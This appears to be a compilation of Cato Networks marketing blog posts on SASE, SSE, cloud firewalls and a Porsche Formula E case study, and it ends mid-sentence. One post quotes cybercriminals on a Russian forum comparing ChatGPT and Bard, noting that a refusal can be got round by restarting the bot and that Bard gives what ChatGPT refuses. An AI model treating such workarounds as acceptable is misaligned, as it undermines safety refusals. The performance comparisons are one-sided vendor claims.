Security Requires Speed For as long as anyone can remember, organizations have had to balance 4 key areas when it comes to technology: security efficacy, cost, complexity, and user experience. The emergence of SASE and SSE brings new hope to be able to deliver fully in each of these areas, eliminating compromise; but not all architectures are truly up to the task. SASE represents the convergence of networking and security, with SSE being a stepping-stone to a complete single-vendor platform. The right architecture is essential to providing an experience that aligns with the expectations of modern workers while delivering effective security at scale. Here are a few things to consider when exploring SASE and SSE vendors: PoP Presence Marketing claims aside, you should consider how many unique geographic locations can provide all capabilities to your user base as well as how effective the organization has been at adding and scaling new PoPs. These PoPs should be hosted in top-tier data centers and not rely on the footprint of a public cloud provider. [boxlink link="https://go.catonetworks.com/Frost-Sullivan-Award-Cato-SSE360_LP.html"] Cato Networks Recognized as Global SSE Product Leader | Download the Report [/boxlink] Global Private Backbone Cloud and mobile adoption are still on the rise but create challenges as users and apps are no longer in fixed locations. The public Internet routes traffic in favor of cost savings for the ISP without consideration for performance. While peering is also a key factor in achieving strong performance, a true global private backbone is critical to any SASE or SSE product and should provide value to both Internet-bound and WAN traffic. Customers should be able to control the routing of their traffic across this backbone to egress traffic as close to the destination as possible. Network Optimization QoS has been around for more than 20 years and is useful to ensure that critical applications have enough available bandwidth, but QoS does not do anything to improve performance beyond this. When evaluating a provider, look for networking optimization capabilities such as TCP proxy and packet-loss mitigation that will improve the overall user experience. At Cato Networks, we were founded to deliver on the vision of a true SASE solution, converging networking and security to eliminate compromise and create simple, secure connectivity with performance. Recently we conducted a performance test for one of our customers comparing Cato’s SASE cloud to Zscaler Private Access and the results are impressive. For the test, several files were transferred from the customer’s file share in London to an endpoint in Tokyo. Even for files only 100MB in size, the performance improvement is substantial. It’s also worth noting that ZPA doesn’t inspect traffic for threats, and despite Cato’s complete zero-trust approach to WAN traffic, with all inspection engines active, Cato’s SASE cloud was able to achieve up to a 317% improvement in performance. SASE and SSE vendors deliver critical capabilities to organizations and should be carefully evaluated before adoption. While performance is one of many factors to consider, I urge IT and Security leaders not to make it the lowest priority. After all, users are doing their best to be productive and high-performers will naturally look for ways to bypass obstacles that are slowing them down. Just remember… fast is secure, secure is fast.

The TAG Heuer Porsche Formula E Team & Cato Networks: The Story Behind the Partnership  In November 2022, the TAG Heuer Porsche Formula E Team announced its partnership with Cato Networks, declaring Cato the team’s official SASE partner. Cato Networks provides the TAG Heuer Porsche Formula E Team with the connectivity and security they need to deliver superior on-track performance during the races.  According to Thomas Eue, Lead IT Product Manager of the TAG Heuer Porsche Formula E Team, “Cato is a real game changer for us. I would absolutely recommend Cato to other enterprises because it’s really simple to set up and the network is really getting faster now.”  In this blog post, we examine the challenges the TAG Heuer Porsche Formula E Team was dealing with before using SASE, why they chose Cato and how Cato’s SASE solution helps the TAG Heuer Porsche Formula E Team win races. You can read the entire case study this blog post is based on here. The Challenge: Real-Time Data Transmission at Scale  During the ABB FIA Formula E World Championship races, the TAG Heuer Porsche Formula E Team relies on insights and instructions delivered in real-time to drivers from the team’s headquarters in Germany. These instructions are derived from live racing data, like tire temperature, battery depletion, timing data and videos of the driver. The accuracy and reliability of this process is critical to the team’s success.  However, it was challenging for the TAG Heuer Porsche Formula E Team to transmit live TV feeds, live intercom services and live communication across several different channels, since they were only provided 50Mbps of bandwidth.  In addition, the nature of the races requires the team to travel to each new racing site before each competition and set up the network. According to Friedemann Kurz, Head of IT at Porsche Motorsport, this is challenging because “Technologically we are not a hundred percent sure on what’s awaiting us in the different countries. So especially the latency of course by the pure physics, it’s changing a lot between countries.”  [boxlink link="https://catonetworks.easywebinar.live/registration-simplicity-at-speed"] Simplicity at Speed: How Cato’s SASE Drives the TAG Heuer Porsche Formula E Team’s Racing | Watch the Webinar [/boxlink] The TAG Heuer Porsche Formula E Team’s Choice: Cato Networks’ SASE  The TAG Heuer Porsche Formula E Team chose Cato’s SASE, turning it into a cornerstone of their racing strategy. Cato’s global and optimized SASE solution connects the drivers, the garage and the HQ with a high-performing infrastructure. During the races, vital data is transmitted across Cato’s global private backbone for real-time analysis at the HQ and back to the drivers and on-site teams to boost driving performance.  According to Friedemann Kurz, Head of IT at Porsche Motorsport, “Cato Networks will allow us to focus on the critical decisions that make a difference on-track by lessening the administrative work to set up and manage our IT network infrastructure. Using the Cato SASE Cloud, we’re able to have the reliable and secure connectivity we need to have anywhere around the world, whether at a racetrack, during travel or at the research and development center in Weissach, the home of Porsche Motorsport.”  Cato Networks also ensures the connection is secure. “We have the most secure connection wherever we are – between all the racetracks, cloud applications and Porsche Motorsport in Weissach,” says Carlo Wiggers, Director of Team Management and Business Relations at Porsche Motorsport  To answer the deployment challenges, Cato Networks enables setting up a site in a mere five hours. “We are very well prepared and confident, as soon as the engineers arrive the services are ready to run,” comments Friedemann Kurz, Head of IT at Porsche Motorsport.  A Streamlined and High-Performing Solution  With Cato Networks’ technology, the team’s IT engineers and the Motorsport IT department, are reliably transmitting data in real-time. The HQ team, in turn, is able to analyze the data and make informed decisions instantly.   In the first week of usage, the team transferred more than 1.2 TB of data.  In the Cape Town race, for example:  1.45 TB of data were transmitted.  The round-trip-time from the race track to the HQ was stable at 80-100 milliseconds.  Packet loss was only 0.23% over the whole event.  “Every enterprise that has any similarity with what we are doing, acting worldwide, having various branches around the world can definitely benefit on all the solutions that Cato is providing,” concludes Friedemann Kurz, Head of IT at Porsche Motorsport  Learn more about the ABB FIA Formula E World Championship, how the TAG Heuer Porsche Formula E Team leverages Cato’s SASE and the joint values the two teams share by reading the complete case study, here.

How to Be a Bold and Effective Security Leader

How to Be a Bold and Effective Security Leader Security leaders today are facing a number of challenges, including a rise in the number of breaches, a need to accommodate remote work and networking requirements to replace MPLS networks. In this new blog post, we share insights about this new reality by David Holmes, Senior Analyst at Forrester, as well as an in-depth explanation about the security stack that can help. You can watch the webinar this blog post is based on here. 3 Trends Impacting Networking and Security Forrester identified three converging trends that are influencing the network and security industries: A growing number of cybersecurity breaches complemented by a security skills shortage, remote work as the new reality and MPLS connections being replaced by SD-WAN. Let’s delve into each one. 1A. Cybersecurity Breaches are on the Rise According to Forrester, the number of cybersecurity breaches has grown significantly. In 2019, 52% of organizations they surveyed were breached at least once over a 12-month period. In 2020, the percentage jumped to 59%. In 2021 it was 63% and in 2022 it was a whopping 74%. Unfortunately, the actual percentage is probably higher since these numbers do not include organizations that do not know they were breached or have not admitted it. 1B. Security Skills Shortage has Real Impact In addition, Forrester found that companies whose IT security challenges included finding employees with the right security skills tended to have more breaches annually. Nearly a quarter (23%) of organizations who pinpointed security skills shortage as one of their biggest IT challenges, were breached more than six times in the past 12 months. 2. Remote Work is Here to Stay Forrester’s research concluded that the concept of working anywhere has been embraced by security leaders. Nowadays, 30% of a CSO’s time during working hours is spent working from home, compared to 2% before the COVID-19 pandemic. The percentage of work taking place at the corporate headquarters has been reduced from 49% to 21%. Non-security employees probably spent more work time at home than the surveyed CSOs. Remote working means employees work from anywhere and their company data can also be anywhere, especially in the cloud. For architects, CSOs and CTOs, this means they have to build an architecture that take these new conditions into account. This requires adjustments in terms of security, the user experience, and more. 3. SD-WAN Adoption Finally, according to Forrester, 74% of organizations are adopting or have already adopted SD-WAN, while only 10% have no plans at all. SD-WAN allows organizations to replace their private lines and eliminate the overhead and maintenance of connecting through local ISPs. Point Solutions are Incompatible with the Hybrid Enterprise This new reality requires new networking architectures. In legacy architectures, most users were in the office,using on-premises applications, remote user traffic was backhauled through the data center, where security policies were enforced through point solutions. This was a good solution at the time, but today with applications and users everywhere, this approach is no longer practical or productive. But moving all point solutions to the cloud isn’t a good approach either. Let’s take a look at a typical organization’s security stack for the cloud: SWG and CASB solutions secure user access to the internet and to cloud applications. They are usually provided through a built-in web proxy architecture, i.e they examine HTTP and HTTPS traffic. ZTNA provides access to private applications. It is commonly delivered through a separate pre-app connector architecture, which is a type of virtual overlay. NGFW and UTM solutions identify malicious traffic coming from non-users. This stack constitutes a fragmented architecture that creates inconsistent policy engines, limited visibility for WAN security and unoptimized access to the Internet and Cloud Resources. The result is blind spots and complexity. The Right Way: One Architecture for Total Visibility, Optimization and Control The solution is to converge the entire security stack into one cloud function. Such a cloud security service will provide total visibility, optimization and control of all the traffic. It will ensure all traffic goes through the same security controls in a single, converged architecture for all edges, giving organizations the ability to enforce policies with one policy engine and one rule base. A converged solution enables doing this in a holistic manner that covers all traffic (ports, protocols, IPs, sources and destinations), applications (Private, Public, Cloud and Web), security capabilities (FWaaS, IPS, NGFW, ZTNA, CASB, DLP) and directions (WAN, Internet, Cloud) for all users, IoT, apps and devices. In addition, traffic is optimized for global routing and acceleration across a global private backbone. Cato SSE 360: Security Transformation in the Cloud Cato SSE 360 is built from the ground up to behave that way. Cato SSE 360 is the security pillar of Cato’s SASE cloud, providing total visibility, optimization and control. Cato’s SSE 360 converges all SSE components into a global cloud service that includes SWG, CASB, DLP, FWaaS, while providing a global backbone for traffic optimization and acceleration. The global reach of Cato SSE 360 (and SASE, see below) spans over more than 80 Pop locations across North America, Europe, Asia, Latin America, the Middle East and Africa. Each PoP location runs Cato's full security stack and network optimization capabilities. This ensures a short distance of under 25 milliseconds round trip time from any user and any business location. In addition, Cato is continuously adding more PoPs every quarter to expand coverage.

Cato’s SASE cloud is the convergence of SSE 360 and SD-WAN across a private cloud network of PoPs. All PoPs are interconnected by a global private backbone that is built with redundant tier one providers, and this guarantees consistent and predictable global latency, jitter and packet loss, creating a reliable network. All traffic runs through Cato’s Single Pass Cloud Engine (SPACE) that performs all networking and security processing in the cloud. SPACE consists of two parts: A multi-gig packet processing engine A real-time policy enforcement engine SPACE is natively built to process multi-gig traffic flows from all enterprise edges, including branches, users devices and applications. It supports all ports and protocols and automatically extracts rich context from each flow, including the user identity, device posture, target applications and data files. Then, it finds the best route for the traffic and applies network optimization and acceleration to minimize round trip times. TLS decryption is applied as needed without any impact on the user experience. Multiple security engines simultaneously and consistently enforce policies through SPACE. FWaaS, IPS, NGAM and SWG clooaborate to protect users against WAN and Internet-based advanced threats. In addition, ZTNA provides secure remote access, while CASB and DLP control access to risky cloud applications and prevent sensitive data loss. All these capabilities run on all the traffic at the same time to minimize security overhead and leverage the rich context of every packet. Connectivity takes place through an IPSec tunnel and a Cato vSocket, turning the cloud data centers into an integral part of the network, and with no need to deploy virtual firewalls. Cato provides full visibility and control over all the incoming and outgoing traffic from cloud data centers. For public cloud applications, no integration is required. Optimization, inspection and enforcement are inherently applied from any edge. Traffic is forwarded over the private backbone to the PoP that is closest to the cloud instance that is serving the business. This smart egress capability optimizes the user experience. Remote users can use the Cato client or a browser to securely connect to any application on-premise or in the cloud, from laptops, tablets and smartphones. Cato offers full visibility and control via a single pane of glass and a flexible management model. Customers can opt for a fully managed service, co-management, or complete self-management of their deployments. Best of all, transitioning from an SSE to full SASE only requires replacing the edges with Cato’s SD-WAN sockets. How Cato SSE 360 Addresses 3 Common Use Cases 1. Securing the Hybrid Workforce As Forrester identified, enterprises today need to seamlessly and securely connect the hybrid workforce wherever they are. Cato SSE 360 seamlessly and securely connects the hybrid workforce no matter where they are, and ensures all policies are consistently enforced everywhere. This eliminates the need to backhaul the user’s traffic across the world to a data center VPN appliance. There is also no need to deploy global instances to achieve the same goal. This provides zero trust security with continuous verification, access control, threat prevention and sensitive data protection, wherever the users are. 2. Beyond User-to-Application Access Security is required beyond users and applications. It must address all edges, including IoT devices  and unmanaged endpoints. This is the difference between proxy architectures and network architectures. The Cato SPACE architecture enables Cato to provide complete visibility and full traffic inspection. This includes: End-to-end visibility across all edges: branches, data centers, users, and apps. End to end threat prevention and sensitive data protection. 3. IT Infrastructure Consolidation End-to-end visibility and control provides last mile resiliency and a single pane of glass for networking and security management. Cato also eliminates solution sprawl by eliminating point solutions and the need for patching, fixing and upgrading. Finally, Cato SASE Cloud is designed to provide a resilient, self-healing architecture that ensures connectivity and security.

SASE is not SD-WAN + SSE  SASE = SD-WAN + SSE. This simple equation has become a staple of SASE marketing and thought leadership. It identifies two elements that underpin SASE, namely the network access technology (SD-WAN) and secure internet access (Security Service Edge (SSE)).   The problem with this equation is that it is simply wrong. Here is why.   The “East-West” WAN traffic visibility gap: SASE converges two separate disciplines: the Wide Area Network and Network Security. It requires that all WAN traffic will be inspected. However, SSE implementations typically secure “northbound” traffic to the Internet and have no visibility into WAN traffic that goes “east-west” (for example, between a branch and a datacenter). Therefore, legacy technologies like network firewalls are still needed to close the visibility and enforcement gap for that traffic.   The non-human traffic visibility gap: Most SSE implementations are built to secure user-to-cloud traffic. While an important use case, it doesn’t cover traffic between applications, services, devices, and other entities where installing agents or determining identities is impossible. Extending visibility and control to all traffic regardless of source and destination requires a separate network security solution.   The private application access (ZTNA) vs secure internet access (SIA) gap: SSE solutions are built to deliver SIA where there is no need to control the traffic end-to-end. A proxy would suffice to inspect traffic on its way to cloud applications and the Web. ZTNA introduces access to internal applications, which are not visible to the Internet, and were not necessarily accessed via Web protocols. This requires a different architecture (the “application connector”) where traffic goes through a cloud broker and is not inspected for threats. Extending inspection to all application traffic across all ports and protocols requires a separate network security solution.   What is missing from the equation? The answer is: a cloud network.   By embedding the security stack into a cloud network that connects all sources and destinations, all traffic that traverses the WAN is subject to inspection. The cloud network is what enables SASE to achieve 360 degrees visibility into traffic across all sources, destinations, ports, and protocols, anywhere in the world. This traffic is then inspected, without compromise, by all SSE engines across threat prevention and data security. This is what we call SSE 360.   [boxlink link="https://www.catonetworks.com/resources/sase-vs-sd-wan-whats-beyond-security/"] SASE vs SD-WAN: What’s Beyond Security | Download the eBook [/boxlink] There are other major benefits to the cloud network. The SASE PoPs aren’t merely securing traffic to the Internet but are interconnected to create a global backbone. The cloud network can apply traffic optimization in real time including calculating the best global routes across PoPs, egressing traffic close to the target application instead of using the public Internet and applying acceleration algorithms to maximize end-to-end throughout.  All, while securing all traffic against threats and data loss. SASE not only secures all traffic but also optimizes all traffic.   With SSE 360 embedded into a cloud network, the role of SD-WAN is to be the on-ramp to the cloud network for both physical and virtual locations. Likewise, ZTNA agents provide the on-ramp for individual users’ traffic. In both cases, the security and optimization capabilities are delivered through the cloud. This cloud-first/thin-edge holistic design is the SASE architecture enterprises had been waiting for.   Cloud networks are an essential pillar of SASE. They exist in certain SASE solutions that use the Internet, or a third-party cloud network such as are available through AWS, Azure, or Google. While these cloud networks provide global connectivity to the SASE solution, they are decoupled from the SSE layer and act as a “black box” where the optimizations of routing, traffic, application access, and the ability to reach any geographical region, are outside the control of the SASE solution provider. Having a cloud network, however, is preferred for the reasons mentioned than having no cloud network at all.   SASE needs an updated equation. SASE = SD-WAN + Cloud Network + SSE. Make sure you choose the right architecture on your way to full digital transformation.

Bard or ChatGPT: Cybercriminals Give Their Perspectives  Six months ago, the question, “Which is your preferred AI?” would have sounded ridiculous. Today, a day doesn’t go by without hearing about “ChatGPT” or “Bard.” LLMs (Large Language Models) have been the main topic of discussions ever since the introduction of ChatGPT. So, which is the best LLM?   The answer may be found in a surprising source – the dark web. Threat actors have been debating and arguing as to which LLM best fits their specific needs.   Hallucinations: Are They Only Found on ChatGPT?  In our ChatGPT Masterclass we discussed the good, the bad, and the ugly of ChatGPT, looking into how both threat actors and security researchers can use it, but also at what are some of the issues that arise while using ChatGPT.   [boxlink link="https://catonetworks.easywebinar.live/registration-offensive-and-defensive-chatgpt"] Offensive and Defensive AI: Let’s chat(GPT) About It | Watch the Webinar [/boxlink] Users of LLMs have quickly found out about “AI hallucinations” where the model will come up with wrong or made-up answers, sometimes for relatively simple questions. While the model answers very quickly and appears very confident in its answer, a simple search (or knowledge of the topic) will prove the model wrong.   What was initially perceived as the ultimate problem-solving wizard now faces skepticism in some of its applications, and threat actors have been talking about it as well. In a recent discussion in a Russian underground forum, a participant asked about the community’s preference when it comes to choosing between ChatGPT and Bard.  Good day, Gentlemen. I've become interested in hearing about Bard from someone who has done relatively deep testing on both of the most popular AI chatbot solutions - ChatGPT and Bard. Regarding ChatGPT, I have encountered its "blunders" and shortcomings myself more than once, but it would be very interesting to hear how Bard behaves in the sphere of coding, conversational training, text generation, whether it makes up answers, whether it really has an up-to-date database and other bonuses or negatives noticed during product testing. The first reply claimed that Bard is better but has similar issues to ChatGPT: Bard truly codes better than ChatGPT, even more complex things. However, it doesn't understand Russian. Bard also occasionally makes things up. Or it refuses to answer, saying, "I can't do this, after all, I'm a chatbot," but then when you restart it, it works fine. The bot is still partly raw. The next participant in this discussion (let’s call him ‘W’), however, had a lot to say about the current capabilities of LLMs and their practical use. All these artificial intelligences are still raw. I think in about 5 years it will be perfect to use them. As a de-facto standard. Bard also sometimes generates made-up nonsense and loses the essence of the conversation. I haven't observed such behavior with ChatGPT. But if I had to choose between Bard and GPT, I'd choose Bard. First of all, you can ask it questions non-stop, while ChatGPT has limits. Although maybe there are versions somewhere without limits. I don't know. I've interacted with ChatGPT version 3. I haven't tried version 4 yet. And the company seems to have canceled the fifth version. The advantages of Bard are that it gives, so to speak, what ChatGPT refuses to give, citing the law. I want to test the Chinese counterpart but I haven’t had the opportunity yet. The member who provided the first reply in this conversation chimed in to make fun of some of the current views on ChatGPT: The topic of coding on neural networks and the specifics of neural networks (as the theory and practice of AI and their creation and training) is extremely relevant now. You read some analysts and sometimes you're amazed at the nonsense they write about it all. I remember one wrote about how ChatGPT will replace Google and, supposedly, the neural network knows everything and it can be used as a Wikipedia. These theses are easily debunked by simply asking the bot a question, like who is this expert, and then the neural network either invents nonsense or refuses to answer this question citing ethics, and that's very funny. This comment brought back ‘W’ to the discussion. Partially true. In fact, Google itself plans to get rid of links in search results. There will be a page with a bot. This is a new type of information search, but they will not completely get rid of links, there will be a page where there will only be 10 links. I don't know if this is good or bad. Probably bad, if there will only be 10 of them in that search result. That is, there won't be the usual deep search. For example, it's no longer interesting to use Google in its pure form. Bing has a cool search - a must-have. But sometimes I forget about it and use good old Google. Probably I would use Bing if it wasn't tied to an account, Windows, and the Edge browser. After all, I'm not always on Windows, it would be hell to adapt this to Linux. +++ I have already encountered the fact that the neural network itself starts to make up nonsense. Another member summarized it as he sees thing, in English: Bard to search the web. ChatGPT to generate content. Both are very limited to write code from scratch. But, as wXXXX said, we must to wait some years to use it in our daily life. In our next masterclass session  Diana Kelley and I will dive into the different aspects of AI, how and why these “AI hallucinations” happen, what buyers of this technology need to ask vendors who claim to use LLMs as well the concerns raised in this discussion by cybercriminals.

The Future of the Firewall is in the Cloud  I read with some surprise the interview with Zscaler’s CEO, Jay Chaudry, in CRN where he stated that the “network firewalls will go the way of the mainframe,” that “the network is just plumbing” and that Zscaler proxy overlay architecture will replace it with its “application switchboard.”   Well, our joint history in network security teaches us a very different lesson. This is my take.   The first time I met Jay Chaudry was in an office space in Atlanta back in 1995. We were starting to build the Check Point partner network and Jay just started SecureIT, a reseller, service, and training business focused on our product.   Jay has always been a visionary. He bet that the Check Point network firewall would beat established firewall players like Raptor, Gauntlet TIS, and Sidewinder. Have you heard any of these names? I guess not. They were all proxy firewalls, which protected specific applications using per-application code and were the established market leaders at the time. Jay correctly understood that a more general-purpose firewall, the network firewall, would win that battle by embedding security directly into the network and applying inspection to all traffic, not just application traffic.  The network firewall was initially met with skepticism and only visionaries like Jay saw the future. But with the proliferation of protocols and applications, and the growing complexity of the security stack, it was clear that the network firewall was the winning approach. The proxy firewalls faded. Jay made the right bet building his business around the Check Point Network Firewall and used this success and his entrepreneurial spirit to launch Zscaler.   Zscaler offered a secure web gateway (SWG) as a service. It solved an urgent problem - users wanted direct internet access from anywhere without the need to backhaul to corporate VPN concentrators appliances or data center firewalls. With the public Internet being the underlying network, Zscaler only option was to build its solution as an overlay proxy.  Following SWG came the need for CASB, which used the same proxy architecture applied to SaaS applications. Lastly, ZTNA used the same approach to access private apps in datacenters. This progression created a multibillion-dollar security company. But, as these various products appeared on scene, so did complexity. Enterprises had to maintain their MPLS networks, SD-WANs, and network firewalls and layer on top of them the SWG, CASB, and ZTNA proxies.   [boxlink link="https://www.catonetworks.com/resources/migrating-your-datacenter-firewall-to-the-cloud/"] Migrating your Datacenter Firewall to the Cloud| Download the White Paper [/boxlink] This complex reality was what Gur Shatz and I set out to change as we launched Cato Networks in 2015. We created the architecture and category that Gartner would later call SASE declaring it the future of wide-area networking and network security. The idea behind Cato is simple. Create a cloud service that converges the networking and network security capabilities provided by appliances and the ones delivered by proxies like SWG, CASB and ZTNA. The resulting cloud service will make these capabilities available through a single-pass architecture delivered elastically all over the world and to all edges – physical locations, cloud and physical data centers, remote users, IoT, etc. Much like an AWS for networking and security, Cato SASE enables enterprises to use these capabilities without owning the stack that delivers them. SASE enables each converged capability to contribute to the effectiveness of all the others. The network provides 360-degree visibility, which enables complete real-time context that drives real-time decisions and accurate detection and response.   Essentially, what Gur and I created was a brand-new form factor of the network firewall built for the cloud. I was lucky enough to create with Gil Shwed the first one: the software form factor that was Firewall-1. I was lucky enough to write the first check to Nir Zuk that created the second form factor of the converged NG-Firewall appliance at Palo Alto Networks. SASE and Cato’s implementation of it are the third form factor: the Secure Cloud Network.  Jay, firewalls are here to stay, just using a different form factor. It is Zscaler’s proxy approach that is going away. You knew better 28 years ago; you should know better now.

SASE Evaluation Tips: The Risk of Public Cloud’s High Costs on SASE Delivery David Heinemeier Hansson lays out the economic case for why application providers should leave the cloud in a recently published blog post. It's a powerful argument that needs to be heard by IT vendors and IT buyers, whether they are purchasing cloud applications or SASE services. Hansson is the co-owner and CTO of 37Signals, which makes Basecamp, the project management software platform, and Hey, an email service. His "back of the napkin" analysis shows how 37Signals will save $1.5 million per year by moving from running its large-scale cloud software in the public cloud to running its cloud software on bare-metal hardware. If you haven't done so, I encourage you to read the analysis yourself. Those numbers might seem incredible for those who've bought into the cloud hype. After all, the cloud was supposed to make things easier and save money. How's it possible that it would do just the opposite? The cloud doesn't so much as reduce vendor costs as it allows vendors to get to market faster. They avoid the planning, deployment time, and investment associated with purchasing, shipping, and installing the hardware components, creating the redundancy plans, and the rest of what goes into building data centers worldwide. The cloud gives vendors the infrastructure from day one. Its elasticity relaxes rigorous compute planning, letting vendors overcome demand surges by spinning up more compute as necessary. All of which, though, comes at a cost -- a rather large cost. Hansson realized that with planning, an experienced team could overcome the time to market and elements and elasticity requirements without the expenditures necessary for the cloud: "…The main difference here is the lag time between needing new servers and seeing them online. It truly is incredible that you can spin up 100 powerful machines in the cloud in just a few minutes, but you also pay dearly for the privilege. And we just don't have such an unpredictable business as to warrant this premium. Given how much money we're saving owning our own hardware, we can afford to dramatically over-provision our server needs, and then when we need more, it still only takes a couple of weeks to show up. The result: enormous capital savings (and other benefits). From Productivity Software to Productive SASE Services What Hansson says about application software holds for SASE platforms. A SASE platform requires PoPs worldwide. Those PoPs need servers with enough compute to work 24x7 under ordinary occasions and additional compute needed to accommodate spikes, failover, and other conditions. It's a massive undertaking that takes time and planning. In the rush to meet the demand for SASE, though, many SASE players haven't had that time. They had no choice but to build out their SASE PoPs on public cloud infrastructure precisely because they were responding to the SASE market. Palo Alto Networks, for example, publicly announced their partnership with Google Cloud in 2022 for their ZTNA offering. Cisco announced its partnership with Google for global SD-WAN service. And they're not alone. With the purchasing of cloud infrastructure, those companies incur all the costs Hansson details. [boxlink link="https://www.catonetworks.com/resources/inside-cato-networks-advanced-security-services/"] Inside Cato Networks Advanced Security Services | Download the White Paper [/boxlink] Which brings us to Cato. Our founders started Cato in 2015, four years before SASE was even defined. We didn't respond to the SASE market; we invented it. At the time, the leadership team, which I was fortunate enough to be part of, evaluated and deliberately avoided public cloud infrastructure as the basis for the Cato SASE Cloud. We understood the long-term economic problem of building our PoP infrastructure in the cloud. The team also realized that owning our infrastructure would bring other benefits, such as delivering Cato SASE Cloud into regions unserved by the public cloud providers. Instead, we invested in building our PoPs on Cato-owned and operated infrastructure in tier-4 data centers across 80+ countries. Today, we continue with that philosophy and rely on our experienced operations team to ensure server supply to overcome supply chain problems. High Costs Mean a Choice of Three Rotten Outcomes for Customers Now, customers don't usually care about their vendors' cost structures. Well, at least not initially. But when a service isn't profitable because the COGS (cost of goods sold) is too high, there's only one of three outcomes, and none are particularly well-liked by customers. A company will go bankrupt, prices will grow to compensate for the loss, or service quality will drop. Those outcomes are improbable if a vendor sells a service or product at a profit. The vendor may adjust prices to align with macroeconomics and inflation rates or decrease prices over time, sharing the economic benefit of large-scale operations with your customers. Or the vendor may evolve service capabilities and quality to meet customer needs better. Regardless, the vendor will likely be the long-term solution enterprise IT requires for networking or security solutions. The Bottom Line Should Be Your Red Line Using public clouds for large-scale cloud services allowed legacy vendors to jump into the then new SASE market and seemingly offer what any enterprise IT buyer wants – the established reputation of a large company with innovation that is SASE. It's a nice comforting story. It's also not true. Building a SASE or application service on a cloud platform brings an excessively high COGS, as Hansson has pointed out. Eventually, that sort of deficit comes back to bite the company. Sure, a company may be able to hide its losses for a while. And, yes, if the company is large enough, like a Palo Alto Networks or Cisco, it's not likely to go out of business any time soon. But if the service is too expensive to deliver, any vendor will try to make the service profitable – whether by increasing prices or decreasing service quality – and always at the customer's expense. Ignoring such a glaring risk when buying infrastructure and purchasing from a large vendor isn't "playing it safe." It's more like sticking your head in the lion's mouth. And we know how well that goes.

Cato’s 5 Gbps SASE Speed Record is Good News for Multicloud and Hybrid Cloud Deployments In the original Top Gun movie, Tom Cruise famously declared the words, “I feel the need! The need for speed!”. At Cato Networks, we also feel the need for speed, and while we’re not breaking the sound barrier at 30,000 feet, we did just break the SASE speed barrier (again!). (We’re also getting our taste for speed through our partnership with the TAG Heuer Porsche Formula E Team, where Cato’s services ensure that Porsche has a fast, reliable, and secure network that’s imperative for its on-track success.)  Earlier last month, we announced that Cato reached a new SASE throughput record, achieving 5 Gbps on a single encrypted tunnel with all security inspections fully enabled. This tops our previous milestone of up to 3 Gbps per tunnel.  The need for 5 Gbps is happening on the most intensive, heavily used network connections within the enterprise, such as connections to data centers, between clouds in multi-cloud deployments, or to clouds housing shared applications, databases, and data stores in hybrid clouds. Not all companies have the need for 5 Gbps connections, but for large organizations that do have that need, it can make a significant difference in performance.  Only a Cloud-Delivered SASE Solution Can Offer Such Performance  The improved throughput underscores the benefits of Cato’s single-vendor, cloud-native SASE architecture. We were able to nearly double the performance of the Cato Socket, Cato’s edge SD-WAN device, without requiring any hardware changes – or anything at all, for that matter – on the customer’s side.  This big leap in performance was made possible through significant improvements to the Cato Single Pass Processing Engine (SPACE) running across the global network of Cato PoPs. The Cato SPACE handles all routing, optimization, acceleration, decryption, and deep packet inspection processing and decisions. Putting this in “traditional” product category terms, a Cato SPACE includes the capabilities of global route optimization, WAN and cloud access acceleration, and security as a service with next-generation firewall, secure web gateway, next-gen anti-malware, and IPS.   [boxlink link="https://www.catonetworks.com/resources/single-pass-cloud-engine-the-key-to-unlocking-the-true-value-of-sase/"] Single Pass Cloud Engine: The Key to Unlocking the True Value of SASE | Download the White Paper [/boxlink] These capabilities are the compute-intensive operations that normally degrade edge appliance performance—but Cato performs them in the cloud instead. All the security inspections and the bulk of the packet processing are conducted in parallel in the Cato PoP by the SPACE technology and not at the edge, like in appliance-based architectures. Cato Sockets are relatively simple with just enough intelligence to move traffic to the Cato PoP where the real magic happens.  The improvements enhanced Cato SPACE scalability, enabling the cloud architecture to take advantage of additional processing cores. By processing more traffic more efficiently, Cato SPACE can inspect and receive more traffic from the Cato Sockets. What’s more, all Cato PoPs run the exact same version of SPACE. Any existing customer using our X1700 Sockets – the version meant for data centers – will now automatically benefit from this performance update.  By contrast, competitors’ SASE solutions implemented as virtual machines in the cloud or modified web proxies remain limited to under 1 Gbps of throughput for a single encrypted tunnel, particularly when inspections are enabled. It’s just an added layer of complexity and risk that doesn’t exist in Cato’s solution.  New Cross-Connect Capabilities Enable High-Speed Cloud Networking Worldwide  Cato is also better supporting multicloud and hybrid cloud deployments by delivering 5 Gbps connections to other cloud providers. The new Cato cross-connect capability in our PoPs enables private, high-speed layer-2 connections between Cato and any other cloud provider connecting to the Equinix Cloud Exchange (ECX) or to Digital Reality. This is done by mapping a VLAN circuit from the customer’s Cato account to the customer’s tenant in the other cloud provider.  The new cross-connect enables a reliable and fast connection between our customers’ cloud instances and our PoPs that is entirely software-defined and doesn’t require any routers, IPsec configuration, or virtual sockets.  The high-speed cross-connect will be a real enabler for those enterprises with a multicloud or hybrid cloud environment, which, according to the Flexera 2023 State of the Cloud Report, is 87% of organizations. Companies need encrypted, secure high throughput between their clouds or to the central data centers in their hybrid deployments.   In addition, this new service provides legacy environments the ability to use the leading-edge network security measures of the Cato SASE platform. Enterprises with MPLS or third-party SD-WAN infrastructure can now leverage Cato’s SSE capabilities without changing their underlying networks.  Cato Engineers Put Innovation to Work  The new SASE throughput speed record and the cross-connect capabilities show that innovation never rests at Cato. (In fact, GigaOm did recognize Cato as an Outperformer “based on the speed of innovation compared to the industry in general.”) We’ll continue to look for ways to apply our innovative minds to further enhance our industry-leading single-vendor, cloud-native SASE solution.

SASE and CASB Functions: A Dynamic Duo for Cloud Security Cloud adoption has exploded in recent years. Nearly all companies are using cloud solutions, and the vast majority having deployments spanning the platforms of multiple cloud service providers. These complex cloud infrastructures can create significant usability and security challenges for an organization. If security settings are misconfigured, an organization’s cloud infrastructure, services and applications could be potentially vulnerable to exploitation. Cloud security solutions are essential to managing the security risks associated with cloud adoption. Two of the most important security capabilities for the cloud are a cloud access security broker (CASB) and secure access service edge (SASE). What is a Cloud Access Security Broker? CASBs enforce an organization’s enterprise security policies when using cloud applications and service. These solutions can be deployed anywhere within an organization’s infrastructure, including on-prem data centers, a cloud service provider, or as part of a SASE deployment. CASB is essential to the safe and secure use of cloud applications and services because they enable an organization to ensure that its enterprise security policies are enforced in the cloud. This capability not only enables the organization to more effectively protect applications in the cloud, but it’s also essential to ensuring that the organization’s cloud environment maintains compliance with applicable regulatory requirements. CASB Functions and Features In order to ensure enforcement of enterprise  security policies in the cloud, CASB solutions must provide various features and capabilities, such as: Visibility: Visibility is one of the 